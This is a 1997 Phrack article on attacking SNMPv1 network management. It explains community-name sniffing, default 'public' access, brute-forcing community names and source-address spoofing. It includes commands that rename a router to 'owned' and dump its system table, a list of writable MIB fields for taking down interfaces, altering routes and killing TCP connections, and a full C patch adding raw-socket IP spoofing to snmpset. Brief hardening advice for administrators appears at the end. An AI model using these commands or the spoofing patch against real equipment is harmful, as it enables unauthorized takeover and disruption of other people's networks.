.oO Phrack 50 Oo. Volume Seven, Issue Fifty 7 of 16 Network Management Protocol Insecurity: SNMPv1 alhambra [guild] alhambra@infonexus.com As networks have become larger and more complex, a need has been felt by certain portions of the network administration crowd to implement network management protocols. From an administrative point of view, this makes a lot of sense; centralize the administration of the network, and make it convenient and easy for the administrator to monitor and administer changes as needed. As usual, however, from the security point of view, these protocols are a potential for catastrophe. In this article, we'll explore the world of SNMPv1. In two later articles (to be published in later issues of Phrack) we'll look into other network management schemes (SNMPv2, DCE, etc). SNMPv1 has been around for a while. In fact, a number of the problems outlined in this paper have been fixed with the release of SNMPv2. As usual, however, large networks who placed their original administration burdens on SNMPv1 have been slow to change. As a result, large corporations, universities, and some small/cheap ISP's still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often in horribly set up configurations. The SNMP protocol The SNMP protocol has 5 simple types of messages. They are get-request, get-next-request, set-request, get response and trap. We will concentrate on using the get-* messages to retrieve information from remote sites, routers and the like, and the set-request to manipulate a variety of settings on our target. SNMP uses UDP as it transport mechanism. The basic layout of an SNMP packet is: +-----------------------------------------------------------------------------+ |IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... | |Hdr|Hdr| | |Type| ID |stat|index| | | | | | +-----------------------------------------------------------------------------+ Community is SNMP's authentication mechanism. PDU type is the type of message being sent (get-request, set request, etc.) Request ID is used to differentiate between requests. Error status is (obviously) used to transport error messages, and error index gives the offset of the variable which was in error. Finally, name and value represent the name of the field requested and either the value to set it to or the value of it on the remote server. These are defined by a MIB written in ASN.1, and encoded using a code called BER. ASN.1 is used to define data and the types and properties of this data. BER is used to actually transmit the data in a platform independent manner (similar perhaps to XDR.) The values that can be fetched and set via SNMP are defined in what is called the Message Information Base or MIB. The MIB is written in ASN.1, and defines all the different variable classes, types, variables and whatnot associated with SNMP. Standard things in the MIB are classes used to define variables associated with data for statistics and values for the system as a whole, the interfaces on the system, (possibly) an address translation table, IP, TCP, UDP, ICMP, and so on, depending on just what kind of system the agent is running on. Where exactly do SNMPv1's security flaws lie? We can narrow them down to 4 general problem areas: 1) Use of UDP as a transport mechanism 2) Use of clear text community names and the presence of default, overpriveleged communities 3) Information avaialable 4) Ability to remotely modify parameters. They're all related to one another. We'll go through one by one, define the problem, and explain how it is exploitable. Unfortunately, most of SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its design, and have no easy solution barring the move to SNMPv2 or some other network management protocol. Some common sense, however, can minimize the problems in most situations. UDP as a transport mechanism I know I'm not alone in feeling that UDP is, at best, a poor idea when used in any sort of application that requires any level of security. The fact that UDP is connectionless leads to a myriad of problems with regard to host based authentication, which unfortunately enough, SNMP uses as one of its mechanisms. So we have 2 basic attacks due to the fact that a UDP transport is used. First, we can easily spoof packets to a server, and modify/add/reconfigure the state of the server. As we're using a spoofed source address, there isn't any way to get the return message, but the machine we are spoofing will simply drop the response message, and the server is none the wiser. Using our 'snmpset' program which has been modified to use a raw socket to allow us to forge the source address, we can modify any value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY NAME. snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\ system.sysName.0 s "owned" Changes our the router name to 'owned', just in case we want to be really obvious that this router has crappy security. But how do we go about getting a legitimate community name? We have a few different methods we can employ. Use of cleartext community names, and default communities One of the most laughable things about the SNMP protocol is its "authentication" method. I use the term authentication in the loosest sense only, as it makes me cringe when I think about it. SNMP only can authenticate based on two different elements. The source address, as we saw above, it trivial to forge, rendering address based authentication useless. The second method is the use of "community" names. Community names can be thought of as passwords to the SNMP agent. As easily as plaintext password can be sniffed from telnet, rlogin, ftp and the like, we can sniff them from SNMP packets. As a matter of fact, it's easier, as every SNMP packet will have the community name. Grab your favorite sniffer (sniffer, not password sniffer) and head over to your favorite segement running SNMP. My sniffer of choice is 'snoop' so I'll use it as my example, though using any other sniffer should be easy. SNMP uses port 161. The field we're after, the community, is typically 6-8 characters long. Cranking up snoop on my segment reveals the following. (IP's changed to protect the stupid, of course) # snoop -x 49,15 port 161 Using device /dev/le (promiscuous mode) 10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62 0: 0572 3232 3135 a028 0202 009c 0201 0002 .r4485.(....... There we go. Using this community name we're able to grab all the info we want, and modify all the parameter and whatnot we desire. Easy enough... if you're able to sniff the segment. But what happens when you can't? Available Information When you can't sniff the segment, life gets a little more complicated. But only a little. We have a few things on our side that may come in handy. First off, almost always there is a default 'public' community. Very few admin's take the time to deactivate this community, nor realize the risk it poses. Using this community, we can usually read all the information we want. Quite often, being able to read the information gives us enough clues to try to brute force a legitimate community name. snmpwalk -v 1 router.pitiful.com public system will dump the contents of the system table to us, returning something like: system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986 -1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu" system.sysObjectID.0 = OID: enterprises.Cisco.1.45 system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31 system.sysContact.0 = "Jeff Wright" system.sysName.0 = "hws" system.sysLocation.0 = "" system.sysServices.0 = 6 We see that we're dealing with a cisco router, and we see it's contact's name, and the system name. Same as we might do with guessing passwords, we can use this information to try to piece together a community name. Popular favorites include stuff like 'admin' 'router' 'gateway' and the like, combined with numbers or whatnot. Trying something like 'routerhws' for the above example might work. It might not. While failed attempts are noted, very few people, if any, ever check for them. (as it turns out, the above router had a community name of 'cisco00'. Imaginative, eh?) Even if only public works, there's lots of interesting things available via SNMP. We can dump routing tables, connection tables, statistics on router use. In certain situations, we can even get information on packet filters in place, and access control rules. All are useful information to have in setting up attacks in conventional manners. Sometimes public is even given r/w on certain tables, and we can do most of what we need to do via that account. When we do have a priveledged community though, the fun begins. Remote Manipulation via SNMP We have all the elements we need to remotely configure the network. We have a community name, we have the ability to forge the manager (the SNMP client) address. All we need to figure out is what we can modify. This really varies. There are a set of defaults that almost every SNMP'able machine will have. In addition to these, though, are the 'enterprise' MIB's, which define vendor specific SNMP tables and fields. There's really too much to go into here. Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for example...most vendors make their MIB's easy to find. Cisco's web page also has a great introduction to their enterprise MIB's, which detail all the differences between different IOS release levels and whatnot. IN the meantime, though, check out the following as fun places to begin: system.sysContact \ system.sysName |- really sorta pointless to change, but hey...whatever. system.sysLocation / interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0) at.atTable.atIfIndex.n at.atTable.atPhysAddress.n at.atTable.atNetAddress.n ip.ipForwarding ip.ipDefaultTTL ip.ipRouteTable.* (there's tons of stuff in this table) ip.ipNetToMediaTable.* (same as above) tcp.tcpConnState.* (only setable to 12, which deletes the TCB) and so on. If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter will give you a set of tables with the types of all these values. If you don't have TCP/IP Illustrated, get off your computer and go buy it. Remember, people don't really like it too much when you muck with their equipment. Act responsibly. And to the admins reading this: TURN OFF SNMPv1! Think about it. Any time you allow control of you network via the network in a manner as unsafe as how SNMPv1 does it, you're creating more problems for yourself. Realizing its all about acceptable risks, realize this isn't one. Go investigate alternate network management software. Realize, however, there are always going to be problems. (I don't recommend SNMPv2, however...a few months from now when I release my SNMPv2 article and tools, you'll be glad you are not running it) Resources: The software I use is based on the UCD modifications to the CMU SNMP distribution. It is available at: ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz Following this article there is a patch, which are the modifications to the snmplib to support address spoofing, and modifications to the 'snmpset' app to support them. The patch is only known to work under Solaris, though it should take only minor changes to move it to any other platform. ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS contain the enterprise MIBS for a variety of different pieces of hardware. www.cisco.com/univercd/ contains tons of info on a variety of different Cisco hardware and software, including great references on SNMP under IOS. http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi has a MIB browser, which allows you to use your favorite web client to peruse the standard as well as vendor MIBs on thier site. RFC's! Yes! All of them. Go to http://www.internic.net/ds/dspg0intdoc.html and read them. Do a search for SNMP and you'll get back tons of hits. They're a little...hrm...terse at times, but these are the defacto definitions of SNMP. Skimming them will give you more info than you can imagine. <++> SNMPv1/snmp.diff *** apps/snmpset.c Mon Jan 20 09:07:22 1997 -- apps/snmpset.c Tue Apr 8 17:21:03 1997 *************** *** 77,83 **** void usage(){ ! fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ e value]+ or:\n"); fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type value]+ or:\n"); fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con text [oID type val]+\n"); fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n"); --- 77,83 ---- void usage(){ ! fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [ objectID type value]+ or:\n"); fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type value]+ or:\n"); fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con text [oID type val]+\n"); fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n"); *************** *** 85,90 **** --- 85,93 ---- fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n"); } + extern char *fakeaddr; + extern int nastyflag; + int main(argc, argv) int argc; *************** *** 152,158 **** usage(); exit(1); } ! break; default: printf("invalid option: -%c\n", argv[arg][1]); break; --- 155,165 ---- usage(); exit(1); } ! break; ! case 'e': ! fakeaddr = argv[++arg]; ! nastyflag = 1; ! break; default: printf("invalid option: -%c\n", argv[arg][1]); break; *** snmplib/snmp_api.c Mon Jan 20 10:43:20 1997 -- snmplib/snmp_api.c Tue Apr 8 17:21:08 1997 *************** *** 58,63 **** --- 58,71 ---- #include #endif #include + + #include + #include + #include + #include + #include + #include + #include #include "asn1.h" #include "snmp.h" *************** *** 847,852 **** --- 855,882 ---- } return 0; } + /* EVIL STUFF in_cksum for forged ip header */ + unsigned short in_cksum(addr, len) + u_short *addr; + int len; + { + register int nleft = len; + register u_short *w = addr; + register int sum = 0; + u_short answer = 0; + while (nleft > 1) { + sum += *w++; + nleft -= 2; + } + if (nleft == 1) { + *(u_char *)(&answer) = *(u_char *)w ; + sum += answer; + } + sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ + sum += (sum >> 16); /* add carry */ + answer = ~sum; /* truncate to 16 bits */ + return(answer); + } /* * Sends the input pdu on the session after calling snmp_build to create *************** *** 857,862 **** --- 887,894 ---- * On any error, 0 is returned. * The pdu is freed by snmp_send() unless a failure occured. */ + char *fakeaddr = NULL; + int nastyflag = 0; int snmp_send(session, pdu) struct snmp_session *session; *************** *** 1013,1026 **** xdump(packet, length, ""); printf("\n\n"); } ! ! if (sendto(isp->sd, (char *)packet, length, 0, ! (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){ ! perror("sendto"); ! snmp_errno = SNMPERR_GENERR; ! return 0; ! } /* gettimeofday(&tv, (struct timezone *)0); */ tv = Now; if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG --- 1045,1099 ---- xdump(packet, length, ""); printf("\n\n"); } + if(nastyflag == 1) + { + struct ip *ip_hdr; + struct udphdr *udp_hdr; + char *payload; + int socky; + struct sockaddr_in dest; + payload = (char*) malloc + (sizeof(struct ip) + + (sizeof(struct udphdr)) + length); + ip_hdr = (struct ip*) payload; + ip_hdr->ip_v=4; + ip_hdr->ip_hl=5; + ip_hdr->ip_tos=0; + ip_hdr->ip_off=0; + ip_hdr->ip_id=htons(1+rand()%1000); + ip_hdr->ip_ttl=255; + ip_hdr->ip_p=IPPROTO_UDP; + ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len gth); + ip_hdr->ip_src.s_addr = inet_addr(fakeaddr); + ip_hdr->ip_dst = pdu->address.sin_addr; + ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr)); + + udp_hdr = (struct udphdr *) (payload + sizeof(struct ip)); + udp_hdr->uh_sport = htons(10000+rand()%20000); + udp_hdr->uh_dport = htons(161); + udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr)); + udp_hdr->uh_sum = 0; + memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length ); + dest.sin_family = AF_INET; + dest.sin_port = htons(161); + dest.sin_addr = pdu->address.sin_addr; + socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW); + fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length ,0, + (struct sockaddr *)&dest,sizeof(dest))); + exit(0); ! } ! else ! { ! if (sendto(isp->sd, (char *)packet, length, 0, ! (struct sockaddr *)&pdu->address, ! sizeof(pdu->address)) < 0) ! { ! perror("sendto"); ! snmp_errno = SNMPERR_GENERR; ! return 0; ! } ! } /* gettimeofday(&tv, (struct timezone *)0); */ tv = Now; if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG <--> SNMPv1/snmp.diff